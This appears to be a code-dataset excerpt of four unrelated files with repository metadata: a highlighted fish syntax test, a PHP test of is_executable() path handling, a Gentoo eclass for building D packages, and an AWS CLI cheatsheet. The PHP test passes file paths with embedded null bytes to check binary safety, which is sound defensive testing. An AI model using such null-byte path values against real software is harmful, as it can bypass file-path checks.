[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/$/[0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\e[0m/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/^/\t/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255mnormal[0m
[38;2;249;38;114mend[0m
| fish | 5 | purveshpatel511/bat | tests/syntax-tests/highlighted/Fish/test.fish | [
"Apache-2.0",
"MIT"
] |
--TEST--
Test is_executable() function: usage variations - diff. path notations
--SKIPIF--
<?php
if (substr(PHP_OS, 0, 3) == 'WIN') {
die('skip not for windows');
}
?>
--FILE--
<?php
/* test is_executable() with file having different filepath notation */
require __DIR__.'/file.inc';
echo "*** Testing is_executable(): usage variations ***\n";
$file_path = __DIR__;
mkdir("$file_path/is_executable_variation1");
// create a new temporary file
$fp = fopen("$file_path/is_executable_variation1/bar.tmp", "w");
fclose($fp);
/* array of files checked to see if they are executable files
using is_executable() function */
$files_arr = array(
"$file_path/is_executable_variation1/bar.tmp",
/* Testing a file with trailing slash */
"$file_path/is_executable_variation1/bar.tmp/",
/* Testing file with double slashes */
"$file_path/is_executable_variation1//bar.tmp",
"$file_path/is_executable_variation1/*.tmp",
"$file_path/is_executable_variation1/b*.tmp",
/* Testing Binary safe */
"$file_path/is_executable_variation1".chr(0)."bar.temp",
"$file_path".chr(0)."is_executable_variation1/bar.temp",
"$file_path/is_executable_variation1x000/",
/* Testing directories */
".", // current directory, exp: bool(true)
"$file_path/is_executable_variation1" // temp directory, exp: bool(true)
);
$counter = 1;
/* loop through to test each element in the above array
is an executable file */
foreach($files_arr as $file) {
echo "-- Iteration $counter --\n";
try {
var_dump( is_executable($file) );
} catch (Error $e) {
echo $e->getMessage(), "\n";
}
$counter++;
clearstatcache();
}
echo "Done\n";
?>
--CLEAN--
<?php
unlink(__DIR__."/is_executable_variation1/bar.tmp");
rmdir(__DIR__."/is_executable_variation1/");
?>
--EXPECT--
*** Testing is_executable(): usage variations ***
-- Iteration 1 --
bool(false)
-- Iteration 2 --
bool(false)
-- Iteration 3 --
bool(false)
-- Iteration 4 --
bool(false)
-- Iteration 5 --
bool(false)
-- Iteration 6 --
bool(false)
-- Iteration 7 --
bool(false)
-- Iteration 8 --
bool(false)
-- Iteration 9 --
bool(true)
-- Iteration 10 --
bool(true)
Done
| PHP | 5 | NathanFreeman/php-src | ext/standard/tests/file/is_executable_variation1.phpt | [
"PHP-3.01"
] |
# @ECLASS: dlang.eclass
# @MAINTAINER: marco.leise@gmx.de
# @BLURB: install D libraries in multiple locations for each D version and compiler
# @DESCRIPTION:
# The dlang eclass faciliates creating dependiencies on D libraries for use
# with different D compilers and D versions.
# DLANG_VERSION_RANGE can be set in the ebuild to limit the search on the known
# compatible Dlang front-end versions. It is a space separated list with each item
# can be a single version, an open or a closed range (e.g. "2.063 2.065-2.067 2.070-").
# The range can be open in either direction.
# DLANG_PACKAGE_TYPE determines whether the current ebuild can be compiled for
# multiple Dlang compilers (i.e. is a library to be installed for different
# versions of dmd, gdc or ldc2) or a single compiler (i.e. is an application).
# "single" - An application is built and the package will be built using one compiler.
# "multi" - A library is built and multiple compiler versions and vendors can be selected.
# "dmd" - Special case for dmd, which is like "single", but picking no compiler USE flag
# is allowed and results in a self-hosting dmd.
# DLANG_USE_COMPILER, if set, inhibits the generation of IUSE, REQUIRED_USE, DEPEND
# and RDEPEND for Dlang compilers based on above variables. The ebuild is responsible
# for providing them as required by the function it uses from this eclass.
if [[ ${___ECLASS_ONCE_DLANG} != "recur -_+^+_- spank" ]] ; then
___ECLASS_ONCE_DLANG="recur -_+^+_- spank"
if has ${EAPI:-0} 0 1 2 3 4 5; then
die "EAPI must be >= 6 for dlang packages."
fi
inherit flag-o-matic versionator dlang-compilers
if [[ "${DLANG_PACKAGE_TYPE}" == "multi" ]]; then
# We handle a multi instance package.
inherit multilib-minimal
fi
EXPORT_FUNCTIONS src_prepare src_configure src_compile src_test src_install
# Definition of know compilers and supported front-end versions from dlang-compilers.eclass
dlang-compilers_declare_versions
# @FUNCTION: dlang_foreach_config
# @DESCRIPTION:
# Function that calls its arguments for each D configuration. A few environment
# variables will be set for each call:
# ABI: See 'multilib_get_enabled_abis' from multilib-build.eclass.
# MODEL: This is either 32 or 64.
# DLANG_VENDOR: Either DigitalMars, GNU or LDC.
# DC: D compiler command. E.g. /opt/dmd-2.067/bin/dmd, /opt/ldc2-0.12.0/bin/ldc2
# or /usr/x86_64-pc-linux-gnu/gcc-bin/4.8.1/x86_64-pc-linux-gnu-gdc
# DMD: DMD compiler command. E.g. /opt/dmd-2.069/bin/dmd,
# /opt/ldc2-0.16/bin/ldmd2 or
# /usr/x86_64-pc-linux-gnu/gcc-bin/4.8.4/x86_64-pc-linux-gnu-gdmd
# DC_VERSION: Release version of the compiler. This is the version excluding any
# Patch releases. So dmd 2.064.2 would still be 2.064. This version is used
# to separate potentially incompatible ABIs and to create the library path.
# Typical versions of gdc or ldc are 4.8.1 or 0.12.
# DLANG_VERSION: This differs from DC_VERSION in so far as it displays the
# front-end or language specification version for every compiler. Since the
# release of D1 it follows the scheme x.yyy and is as of writing at 2.064.
# DLANG_LINKER_FLAG: The command-line flag, the respective compiler understands
# as a prefix for a single argument that should be passed to the linker.
# dmd: -L, gdc: -Xlinker, ldc: -L=
# DLANG_LIB_DIR: The compiler and compiler version specific library directory.
# DLANG_IMPORT_DIR: This is actually set globally. Place includes in a
# sub-directory.
dlang_foreach_config() {
debug-print-function ${FUNCNAME} "${@}"
local MULTIBUILD_VARIANTS=($(__dlang_build_configurations))
multibuild_wrapper() {
debug-print-function ${FUNCNAME} "${@}"
# We need to reset CC, else when dmd calls it, the result is:
# "x86_64-pc-linux-gnu-gcc -m32": No such file or directory
if [[ -v CC ]]; then
local __ORIGINAL_CC="${CC}"
fi
multilib_toolchain_setup "${ABI}"
if [[ -v __ORIGINAL_CC ]]; then
CC="${__ORIGINAL_CC}"
else
unset CC
fi
mkdir -p "${BUILD_DIR}" || die
pushd "${BUILD_DIR}" >/dev/null || die
__dlang_use_build_vars "${@}"
popd >/dev/null || die
}
multibuild_foreach_variant multibuild_wrapper "${@}"
}
export DLANG_IMPORT_DIR="usr/include/dlang"
dlang_single_config() {
debug-print-function ${FUNCNAME} "${@}"
local MULTIBUILD_VARIANT=$(__dlang_build_configurations)
__dlang_use_build_vars "${@}"
}
dlang_has_shared_lib_support() {
if [[ "${DLANG_VENDOR}" == "DigitalMars" ]]; then
[[ $(get_major_version ${DLANG_VERSION}) -eq 2 ]] && [[ $((10#$(get_after_major_version ${DLANG_VERSION}))) -ge 63 ]]
elif [[ "${DLANG_VENDOR}" == "GNU" ]]; then
true
elif [[ "${DLANG_VENDOR}" == "LDC" ]]; then
[[ $(get_major_version ${DLANG_VERSION}) -eq 2 ]] && [[ $((10#$(get_after_major_version ${DLANG_VERSION}))) -ge 73 ]]
else
die "Could not detect D compiler vendor!"
fi
}
# @FUNCTION: dlang_src_prepare
# @DESCRIPTION:
# Create a single copy of the package sources for each enabled D configuration.
dlang_src_prepare() {
debug-print-function ${FUNCNAME} "${@}"
default_src_prepare
if [[ "${DLANG_PACKAGE_TYPE}" == "multi" ]]; then
local MULTIBUILD_VARIANTS=($(__dlang_build_configurations))
multibuild_copy_sources
fi
}
dlang_src_configure() {
__dlang_phase_wrapper configure
}
dlang_src_compile() {
__dlang_phase_wrapper compile
}
dlang_src_test() {
__dlang_phase_wrapper test
}
dlang_src_install() {
__dlang_phase_wrapper install
}
# @FUNCTION: dlang_exec
# @DESCRIPTION:
# Run and print a shell command. Aborts the ebuild on error using "die".
dlang_exec() {
echo "${@}"
${@} || die
}
# @FUNCTION: dlang_compile_bin
# @DESCRIPTION:
# Compiles a D application. The first argument is the output file name, the
# other arguments are source files. Additional variables can be set to fine tune
# the compilation. They will be prepended with the proper flags for each
# compiler:
# versions - a list of versions to activate during compilation
# imports - a list of import paths
# string_imports - a list of string import paths
#
# Aditionally, if the ebuild offers the "debug" use flag, we will automatically
# raise the debug level to 1 during compilation.
dlang_compile_bin() {
[[ "${DLANG_PACKAGE_TYPE}" == "multi" ]] && die "${FUNCTION} does not work with DLANG_PACKAGE_TYPE=\"multi\" currently."
local binname="${1}"
local sources="${@:2}"
dlang_exec ${DC} ${DCFLAGS} ${sources} $(__dlang_additional_flags) \
${LDFLAGS} ${DLANG_OUTPUT_FLAG}${binname}
}
# @FUNCTION: dlang_compile_lib_so
# @DESCRIPTION:
# Compiles a D shared library. The first argument is the output file name, the
# second argument is the soname (typically file name without patch level
# suffix), the other arguments are source files. Additional variables and the
# "debug" use flag will be handled as described in dlang_compile_bin().
dlang_compile_lib_so() {
local libname="${1}"
local soname="${2}"
local sources="${@:3}"
dlang_exec ${DC} ${DCFLAGS} -m${MODEL} ${sources} $(__dlang_additional_flags) \
${LDFLAGS} ${DLANG_SO_FLAGS} ${DLANG_LINKER_FLAG}-soname=${soname} \
${DLANG_OUTPUT_FLAG}${libname}
}
# @FUNCTION: dlang_convert_ldflags
# @DESCRIPTION:
# Makes linker flags meant for GCC understandable for the current D compiler.
# Basically it replaces -L with what the D compiler uses as linker prefix.
dlang_convert_ldflags() {
if [[ "${DLANG_VENDOR}" == "DigitalMars" ]]; then
# gc-sections breaks executables for some versions of D
# It works with the gold linker on the other hand
# See: https://issues.dlang.org/show_bug.cgi?id=879
if ! version_is_at_least 2.072 $DLANG_VERSION; then
if ! ld -v | grep -q "^GNU gold"; then
filter-ldflags {-L,-Xlinker,-Wl,}--gc-sections
fi
fi
# Filter ld.gold ICF flag. (https://issues.dlang.org/show_bug.cgi?id=17515)
filter-ldflags {-L,-Xlinker,-Wl,}--icf={none,all,safe}
fi
if [[ "${DLANG_VENDOR}" == "DigitalMars" ]] || [[ "${DLANG_VENDOR}" == "GNU" ]]; then
# DMD and GDC don't undestand/work with LTO flags
filter-ldflags -f{no-,}use-linker-plugin -f{no-,}lto -flto=*
fi
if [[ "${DLANG_VENDOR}" == "DigitalMars" ]] || [[ "${DLANG_VENDOR}" == "LDC" ]]; then
local set prefix flags=()
if [[ is_dmd ]]; then
prefix="-L"
elif [[ is_ldc ]]; then
prefix="-L="
fi
for set in ${LDFLAGS}; do
if [[ "${set:0:4}" == "-Wl," ]]; then
set=${set/-Wl,/${prefix}}
flags+=(${set//,/ ${prefix}})
elif [[ "${set:0:9}" == "-Xlinker " ]]; then
flags+=(${set/-Xlinker /${prefix}})
elif [[ "${set:0:2}" == "-L" ]]; then
flags+=(${set/-L/${prefix}})
else
flags+=(${set})
fi
done
echo "${flags[@]}"
elif [[ "${DLANG_VENDOR}" == "GNU" ]]; then
echo "${LDFLAGS}"
else
die "Set DLANG_VENDOR to DigitalMars, LDC or GNU prior to calling ${FUNCNAME}()."
fi
}
# @FUNCTION: dlang_system_imports
# @DESCRIPTION:
# Returns a list of standard system import paths (one per line) for the current
# D compiler. This includes druntime and Phobos as well as compiler specific
# paths.
dlang_system_imports() {
if [[ "${DLANG_VENDOR}" == "DigitalMars" ]]; then
echo "/opt/dmd-${DC_VERSION}/import"
elif [[ "${DLANG_VENDOR}" == "GNU" ]]; then
echo "/usr/lib/gcc/${CHOST_default}/${DC_VERSION}/include/d"
elif [[ "${DLANG_VENDOR}" == "LDC" ]]; then
echo "/opt/ldc2-${DC_VERSION}/include/d"
echo "/opt/ldc2-${DC_VERSION}/include/d/ldc"
else
die "Could not detect D compiler vendor!"
fi
}
# @FUNCTION: dlang_phobos_level
# @DESCRIPTION:
# Succeeds if we are compiling against a version of Phobos that is at least as
# high as the argument.
dlang_phobos_level() {
if [ -z "$DLANG_VERSION" ]; then
[ "$DLANG_PACKAGE_TYPE" != "multi" ] || die "'dlang_phobos_level' needs 'DLANG_PACKAGE_TYPE != multi' when called outside of compiles."
local config=`__dlang_build_configurations`
local dc="$(echo ${config} | cut -d- -f2)"
local dc_version="$(echo ${config} | cut -d- -f3)"
local DLANG_VERSION="$(__dlang_compiler_to_dlang_version ${dc} ${dc_version})"
fi
version_is_at_least "$1" "$DLANG_VERSION"
}
### Non-public helper functions ###
declare -a __dlang_compiler_iuse
declare -a __dlang_compiler_iuse_mask
declare -a __dlang_depends
__dlang_compiler_masked_archs_for_version_range() {
# Given a Dlang compiler represented through an IUSE flag (e.g. "ldc2-1_1")
# and DEPEND atom (e.g. "dev-lang/ldc2:1.1="), this function tests if the
# current ebuild can depend and thus be compiled with that compiler on
# one or more architectures.
# A compiler that is less stable than the current ebuild for all
# architectures, is dropped completely. A compiler that disqualifies
# for only some, but not all architectures, on the other hand, is disabled
# though REQUIRED_USE (e.g. "!amd64? ( ldc2-1_1? ( dev-lang/ldc2:1.1= ) )").
# Available compilers are accumulated in the __dlang_compiler_iuse array,
# which is later turned into the IUSE variable.
# Partially available compilers are additionally masked out for particular
# architectures by adding them to the __dlang_compiler_iuse_mask array,
# which is later appended to REQUIRED_USE.
# Finally, the __dlang_depends array receives the USE-flag enabled
# dependencies on Dlang compilers, which is later turned into DEPEND and
# RDEPEND.
local iuse=$1
local depend="$iuse? ( $2 )"
local dlang_version=${3%% *}
local compiler_keywords=${3:${#dlang_version}}
local compiler_keyword package_keyword arch
local -a masked_archs
# Check the version range
if [[ -n "$4" ]]; then
[[ $((10#${dlang_version#*.})) -lt $((10#${4#*.})) ]] && return 1
fi
if [[ -n "$5" ]]; then
[[ $((10#${dlang_version#*.})) -gt $((10#${5#*.})) ]] && return 1
fi
# Check the stability requirements
local ebuild_stab comp_stab=0 have_one=0
for package_keyword in $KEYWORDS; do
if [ "${package_keyword:0:1}" == "-" ]; then
# Skip "-arch" and "-*"
continue
elif [ "${package_keyword:0:1}" == "~" ]; then
ebuild_stab=1
arch=${package_keyword:1}
else
ebuild_stab=2
arch=$package_keyword
fi
comp_stab=0
for compiler_keyword in $compiler_keywords; do
if [ "$compiler_keyword" == "~$arch" ]; then
comp_stab=1
elif [ "$compiler_keyword" == "$arch" ]; then
comp_stab=2
fi
done
if [ $comp_stab -lt $ebuild_stab ]; then
masked_archs+=( $arch )
fi
if [ $comp_stab -gt 0 ]; then
have_one=1
fi
done
[ $have_one -eq 0 ] && return 1
__dlang_compiler_iuse+=( $iuse )
if [ "${#masked_archs[@]}" -ne 0 ]; then
for arch in ${masked_archs[@]}; do
__dlang_compiler_iuse_mask+=( "${arch}? ( !${iuse} )" )
depend="!${arch}? ( ${depend} )"
done
fi
__dlang_depends+=( "$depend" )
}
__dlang_filter_compilers() {
# Given a range of Dlang front-end version that the current ebuild can be built with,
# this function goes through each compatible Dlang compilers as provided by the file
# dlang-compilers.eclass and then calls __dlang_compiler_masked_archs_for_version_range
# where they will be further scrutinized for architecture stability requirements and
# then either dropped as option or partially masked.
local dc_version mapping iuse depend
# filter for DMD (hardcoding support for x86 and amd64 only)
for dc_version in "${!__dlang_dmd_frontend[@]}"; do
mapping="${__dlang_dmd_frontend[${dc_version}]}"
iuse="dmd-$(replace_all_version_separators _ $dc_version)"
if [ "${DLANG_PACKAGE_TYPE}" == "multi" ]; then
depend="[${MULTILIB_USEDEP}]"
else
depend=""
fi
depend="dev-lang/dmd:$dc_version=$depend"
__dlang_compiler_masked_archs_for_version_range "$iuse" "$depend" "$mapping" "$1" "$2"
done
# GDC (doesn't support sub-slots, to stay compatible with upstream GCC)
for dc_version in "${!__dlang_gdc_frontend[@]}"; do
mapping="${__dlang_gdc_frontend[${dc_version}]}"
iuse=gdc-$(replace_all_version_separators _ $dc_version)
depend="=sys-devel/gcc-${dc_version}*[d]"
__dlang_compiler_masked_archs_for_version_range "$iuse" "$depend" "$mapping" "$1" "$2"
done
# filter for LDC2
for dc_version in "${!__dlang_ldc2_frontend[@]}"; do
mapping="${__dlang_ldc2_frontend[${dc_version}]}"
iuse=ldc2-$(replace_all_version_separators _ $dc_version)
depend="dev-lang/ldc2:${dc_version}="
__dlang_compiler_masked_archs_for_version_range "$iuse" "$depend" "$mapping" "$1" "$2"
done
}
__dlang_filter_versions() {
# This function sets up the preliminary REQUIRED_USE, DEPEND and RDEPEND ebuild
# variables with compiler requirements for the current ebuild.
# If DLANG_VERSION_RANGE is set in the ebuild, this variable will be parsed to
# limit the search on the known compatible Dlang front-end versions.
# DLANG_PACKAGE_TYPE determines whether the current ebuild can be compiled for
# multiple Dlang compilers (i.e. is a library to be installed for different
# versions of dmd, gdc or ldc2) or a single compiler (i.e. is an application).
local range start stop matches d_version versions do_start
local -A valid
# Use given range to create a positive list of supported D versions
if [[ -v DLANG_VERSION_RANGE ]]; then
for range in $DLANG_VERSION_RANGE; do
# Define start and stop of range
if [[ "${range}" == *?- ]]; then
start="${range%-}"
stop=
elif [[ "${range}" == -?* ]]; then
start=
stop="${range#-}"
elif [[ "${range}" == *?-?* ]]; then
start="${range%-*}"
stop="${range#*-}"
else
start="${range}"
stop="${range}"
fi
__dlang_filter_compilers "$start" "$stop"
done
else
__dlang_filter_compilers "" ""
fi
[ ${#__dlang_compiler_iuse[@]} -eq 0 ] && die "No Dlang compilers found that satisfy this package's version range: $DLANG_VERSION_RANGE"
if [ "${DLANG_PACKAGE_TYPE}" != "multi" ]; then
REQUIRED_USE="^^"
else
REQUIRED_USE="||"
fi
DEPEND="${__dlang_depends[@]}"
# DMD, is statically linked and does not have its host compiler as a runtime dependency.
if [ "${DLANG_PACKAGE_TYPE}" == "dmd" ]; then
IUSE="${__dlang_compiler_iuse[@]} +selfhost"
__dlang_compiler_iuse+=( selfhost )
else
RDEPEND="$DEPEND"
IUSE="${__dlang_compiler_iuse[@]}"
fi
REQUIRED_USE="${REQUIRED_USE} ( ${__dlang_compiler_iuse[@]} ) ${__dlang_compiler_iuse_mask[@]}"
local -a compiler
for compiler in ${__dlang_compiler_iuse[@]}; do
DLANG_COMPILER_USE="${DLANG_COMPILER_USE}${compiler}?,"
done
DLANG_COMPILER_USE="${DLANG_COMPILER_USE:0:-1}"
}
__dlang_phase_wrapper() {
dlang_phase() {
if declare -f d_src_${1} >/dev/null ; then
d_src_${1}
else
default_src_${1}
fi
}
if [[ "${DLANG_PACKAGE_TYPE}" == "multi" ]]; then
dlang_foreach_config dlang_phase "${1}"
# Handle any compiler & arch independent installation steps
if declare -f d_src_${1}_all >/dev/null ; then
d_src_${1}_all
fi
else
dlang_single_config dlang_phase "${1}"
fi
}
__dlang_compiler_to_dlang_version() {
local mapping
case "$1" in
"dmd")
mapping="$2"
;;
"gdc")
mapping=`echo ${__dlang_gdc_frontend[$2]} | cut -f 1 -d " "`
;;
"ldc2")
mapping=`echo ${__dlang_ldc2_frontend[$2]} | cut -f 1 -d " "`
;;
esac
[ -n "${mapping}" ] || die "Could not retrieve dlang version for '$1-$2'."
echo "${mapping}"
}
__dlang_build_configurations() {
local variants use_flag use_flags
if [ -z ${DLANG_USE_COMPILER+x} ]; then
use_flags="${USE}"
else
use_flags="${DLANG_USE_COMPILER}"
fi
for use_flag in $use_flags; do
case ${use_flag} in
dmd-* | gdc-* | ldc-* | ldc2-*)
if [ "${DLANG_PACKAGE_TYPE}" == "multi" ]; then
for abi in $(multilib_get_enabled_abis); do
variants="${variants} ${abi}-${use_flag//_/.}"
done
else
variants="default-${use_flag//_/.}"
fi
;;
selfhost)
if [ "${DLANG_PACKAGE_TYPE}" == "dmd" ]; then
variants="default-dmd-selfhost"
fi
;;
esac
done
if [ -z "${variants}" ]; then
die "At least one compiler USE-flag must be selected. This should be checked by REQUIRED_USE in this package."
fi
echo ${variants}
}
__dlang_use_build_vars() {
# Now we define some variables and then call the function.
# LIBDIR_${ABI} is used by the dolib.* functions, that's why we override it per compiler.
# The original value is exported as LIBDIR_HOST.
local libdir_var="LIBDIR_${ABI}"
export LIBDIR_HOST="${!libdir_var}"
export ABI="$(echo ${MULTIBUILD_VARIANT} | cut -d- -f1)"
export DC="$(echo ${MULTIBUILD_VARIANT} | cut -d- -f2)"
export DC_VERSION="$(echo ${MULTIBUILD_VARIANT} | cut -d- -f3)"
case "${DC:0:3}" in
"dmd") export DLANG_VENDOR="DigitalMars" ;;
"gdc") export DLANG_VENDOR="GNU" ;;
"ldc") export DLANG_VENDOR="LDC" ;;
esac
export DLANG_VERSION="$(__dlang_compiler_to_dlang_version ${DC} ${DC_VERSION})"
case "${ABI}" in
"default") ;;
"x86"*) export MODEL=32 ;;
*) export MODEL=64 ;;
esac
if [[ "${DLANG_VENDOR}" == "DigitalMars" ]]; then
if [ "${DC_VERSION}" != "selfhost" ]; then
export DC="/opt/${DC}-${DC_VERSION}/bin/dmd"
export DMD="${DC}"
fi
# "lib" on pure x86, "lib{32,64}" on amd64 (and multilib)
if has_multilib_profile || [[ "${MODEL}" == "64" ]]; then
export LIBDIR_${ABI}="../opt/dmd-${DC_VERSION}/lib${MODEL}"
else
export LIBDIR_${ABI}="../opt/dmd-${DC_VERSION}/lib"
fi
export DCFLAGS="${DMDFLAGS}"
export DLANG_LINKER_FLAG="-L"
export DLANG_SO_FLAGS="-shared -defaultlib=libphobos2.so -fPIC"
export DLANG_OUTPUT_FLAG="-of"
export DLANG_VERSION_FLAG="-version"
export DLANG_UNITTEST_FLAG="-unittest"
elif [[ "${DLANG_VENDOR}" == "GNU" ]]; then
# Note that ldc2 expects the compiler name to be 'gdmd', not 'x86_64-pc-linux-gnu-gdmd'.
export DC="/usr/${CHOST_default}/gcc-bin/${DC_VERSION}/${CHOST_default}-gdc"
export DMD="/usr/${CHOST_default}/gcc-bin/${DC_VERSION}/gdmd"
if [[ "${DLANG_PACKAGE_TYPE}" == "multi" ]] && multilib_is_native_abi; then
export LIBDIR_${ABI}="lib/gcc/${CHOST_default}/${DC_VERSION}"
else
export LIBDIR_${ABI}="lib/gcc/${CHOST_default}/${DC_VERSION}/${MODEL}"
fi
export DCFLAGS="${GDCFLAGS}"
if dlang_has_shared_lib_support; then
export DCFLAGS="${DCFLAGS} -shared-libphobos"
fi
export DLANG_LINKER_FLAG="-Xlinker "
export DLANG_SO_FLAGS="-shared -fPIC"
export DLANG_OUTPUT_FLAG="-o "
export DLANG_VERSION_FLAG="-fversion"
export DLANG_UNITTEST_FLAG="-funittest"
elif [[ "${DLANG_VENDOR}" == "LDC" ]]; then
export LIBDIR_${ABI}="../opt/${DC}-${DC_VERSION}/lib${MODEL}"
export DMD="/opt/${DC}-${DC_VERSION}/bin/ldmd2"
export DC="/opt/${DC}-${DC_VERSION}/bin/ldc2"
# To allow separate compilation and avoid object file name collisions,
# we append -op (do not strip paths from source file).
export DCFLAGS="${LDCFLAGS} -op"
export DLANG_LINKER_FLAG="-L="
export DLANG_SO_FLAGS="-shared -relocation-model=pic"
export DLANG_OUTPUT_FLAG="-of="
export DLANG_VERSION_FLAG="-d-version"
export DLANG_UNITTEST_FLAG="-unittest"
else
die "Could not detect D compiler vendor!"
fi
# We need to convert the LDFLAGS, so they are understood by DMD and LDC.
export LDFLAGS=`dlang_convert_ldflags`
"${@}"
}
__dlang_prefix_words() {
for arg in ${*:2}; do
echo -n " $1$arg"
done
}
__dlang_additional_flags() {
# For info on debug use flags see:
# https://wiki.gentoo.org/wiki/Project:Quality_Assurance/Backtraces#debug_USE_flag
case "${DLANG_VENDOR}" in
"DigitalMars")
local import_prefix="-I"
local string_import_prefix="-J"
local debug_flags="-debug"
;;
"GNU")
local import_prefix="-I"
local string_import_prefix="-J"
local debug_flags="-fdebug"
;;
"LDC")
local import_prefix="-I="
local string_import_prefix="-J="
local debug_flags="-d-debug"
;;
esac
echo $(has debug ${IUSE} && use debug && echo ${debug_flags})\
$(__dlang_prefix_words "${DLANG_VERSION_FLAG}=" $versions)\
$(__dlang_prefix_words $import_prefix $imports)\
$(__dlang_prefix_words $string_import_prefix $string_imports)\
$(__dlang_prefix_words "${DLANG_LINKER_FLAG}-l" $libs)
}
# Setting DLANG_USE_COMPILER skips the generation of USE-flags for compilers
if [ -z ${DLANG_USE_COMPILER+x} ]; then
set -f; __dlang_filter_versions; set +f
fi
fi
| Gentoo Eclass | 5 | Pulgovisk/pulgovisk-overlay | dlang.eclass | [
"Unlicense"
] |
##############################################################################
# AWS
##############################################################################
# General
aws help
aws --version # Show the current AWS CLI version
aws configure # Configure your AWS Key ID, AWS Secret, default region and default output format for the AWS CLI
aws configure --profile <profile_name> # Configure using the profile name. By default, the list of profile is stored in ~/.aws.credentials (Linux and MacOS)
# EC2
## We need to specify a region to use ec2 commands. We can configure a default region with "aws configure" or set the AWS_DEFAULT_REGION environment variable before the command line
## Example: AWS_DEFAULT_REGION=us-east-1 aws ec2 describe-instances
aws ec2 describe-instances # Desribe all instances in the current region
aws ec2 describe-instances --instance-ids <instance_id_1> <instance_id_2> # Describe specific instances by their IDs
aws ec2 describe-instances --filters Name=<instance_name> # Filter and describe instances by name
aws ec2 start-instances --instance-ids <instance_id_1> <instance_id_2> # Start previously stopped instances by their IDs
aws ec2 stop-instances --instance-ids <instance_id_1> <instance_id_2> # Stop running instances by their IDs
aws ec2 terminate-instances --instance-ids <instance_id_1> <instance_id_2> # Shutdown the specific instances by their IDs
# S3
## To specify the root directory of a S3 bucket, use this syntax: s3://<bucket_name>
aws s3 ls # List S3 objects and common prefixes under a prefix or all S3 buckets
aws s3 ls s3://<bucket_name> # List objects and common prefixes under a specified bucket and prefix
aws s3 mb s3://<bucket_name> # Create a specific S3 bucket
aws s3 rb s3://<bucket_name> # Remove an empty specific S3 bucket by name
aws s3 mv <local_file_path> s3://<bucket_name>/<destination_file_path> # Move a file in local_file_path to a specific bucket in destination_file_path
## Example: aws s3 mv text.txt s3://mybucket/text.txt
aws s3 mv s3://<bucket_name_1> s3://<bucket_name_2> --recursive # Move all objects from bucket_name_1 to bucket_name_2
aws s3 sync <source> <target> # Sync all contents from source to a target directory. This will copy and update all missing or outdated files or objects between source and target
## Examples: aws s3 sync . s3://mybucket
## aws s3 sync s3://bucket_1 s3://bucket_2
aws s3 sync <source> <target> --delete # Sync all contents from source to target, but this will remove all missing files and objects from the target that are not present in source
| Shell | 4 | imdex1009/awesome-cheatsheets | tools/aws.sh | [
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.